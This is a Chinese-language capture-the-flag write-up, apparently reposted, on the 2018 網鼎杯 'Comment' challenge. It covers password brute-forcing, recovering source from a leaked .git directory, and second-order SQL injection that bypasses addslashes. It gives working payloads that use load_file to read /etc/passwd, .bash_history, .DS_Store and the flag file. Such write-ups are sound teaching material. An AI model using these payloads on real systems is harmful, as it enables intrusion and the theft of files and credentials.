首先我們看到賬號(hào)密碼有提示了
我們bp爆破一下
我首先對(duì)數(shù)字爆破 因?yàn)槿址脑捥嗔?/p>
爆出來了哦
所以賬號(hào)密碼也出來了
zhangwei
zhangwei666
沒有什么用啊
掃一下吧
有g(shù)it
git泄露
那泄露看看
真有
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
原本的githack壞了
mirrors / BugScanTeam / GitHack · GitCode
重新下了一個(gè) 需要下載后 里面存在 .git文件夾
然后看上面的代碼 根本沒有看懂 感覺不是全部
git 恢復(fù)
所以我們可以使用git log --all看看
以前的情況
?我們直接回到最開始
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
全部代碼就出來了
用了個(gè)switch 內(nèi)容為go
addslashes 這里是 通過轉(zhuǎn)義的方式 存入數(shù)據(jù)庫 很容易造成二次注入
因?yàn)闀?huì)把內(nèi)容原封不動(dòng)傳入數(shù)據(jù)庫
如果讀取 就會(huì)造成二次注入
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
這里我們能發(fā)現(xiàn) 查詢的內(nèi)容 是 category
所以category 就是我們寫入的內(nèi)容的參數(shù)了
這里懂得差不多了
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
主要是這里 設(shè)定了從數(shù)據(jù)庫提取出來的值
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
這里我們就可以構(gòu)造了
$category=0' content = database(),/* 后面的/*是用來和我們?cè)斍槔锩孑斎氲腸ontent閉合
我們首先寫入留言
0',content=database(),/*
然后進(jìn)去提交留言
這個(gè)時(shí)候就會(huì)形成
$sql = "insert into comment
set category = '0',content = database(),/*',
content = '*/#',
bo_id = '$bo_id'";
$result = mysql_query($sql);
更直觀點(diǎn)
$sql = "insert into comment
set category = '0',content = database(),/*',content = '*/#',
bo_id = '$bo_id'";
/*',content = '*/#'
這里就為空了 所以現(xiàn)在的語句是
set category = '0',content = database(),
bo_id = '$bo_id'";
然后我們進(jìn)行查表 發(fā)現(xiàn)沒有flag
于是我們可以看看user()函數(shù)
發(fā)現(xiàn)是root權(quán)限
那么多半就是 讀取了
load_file可以讀取
我們讀取看看
這里又是另一個(gè)文件讀取的方法了
之前做的題 proc這里沒有用
任意文件讀取
.bash_history??????
我們首先去查看 etc/passwd
0',content=(select load_file('/etc/passwd')),/*
發(fā)現(xiàn)存在 www用戶 我們?nèi)タ纯此臍v史命令
0',content=(select load_file('/home/www/.bash_history')),/*
這里發(fā)現(xiàn)了 是刪除了 .DS_Store
但是ctf環(huán)境一般都是docker環(huán)境 所以在
/tmp/html下還會(huì)存在
我們?nèi)プx取
0',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
這里需要通過十六進(jìn)制輸出 因?yàn)闀?huì)有很多不可見的字符
?.DS_Store泄露
我們通過通過瑞士軍刀可以 恢復(fù)成 文件形式 并且導(dǎo)出
然后通過 Python-dsstore-master
來實(shí)現(xiàn)解析讀取文件
py3 .\main.py .\samples\download.dat
我們來解析讀取這個(gè)flag
0',content=(select load_file('/tmp/html/flag_8946e1ff1ee3e40f.php')),/*
?但是這個(gè)文件是錯(cuò)誤的 flag為錯(cuò)誤
可能修改了 所以我們回去 /var進(jìn)行讀取
0',content=(select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*
flag{5737c889-1e5b-47a6-b14d-87df5dd59e01}
知識(shí)點(diǎn) 過多了。。。。。文章來源:http://www.zghlxwxcb.cn/news/detail-736565.html
雖然都很基礎(chǔ) 但是有的時(shí)候 真沒想到 可以以后再做一次文章來源地址http://www.zghlxwxcb.cn/news/detail-736565.html
到了這里,關(guān)于[網(wǎng)鼎杯 2018]Comment git泄露 / 恢復(fù) 二次注入 .DS_Store bash_history文件查看的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!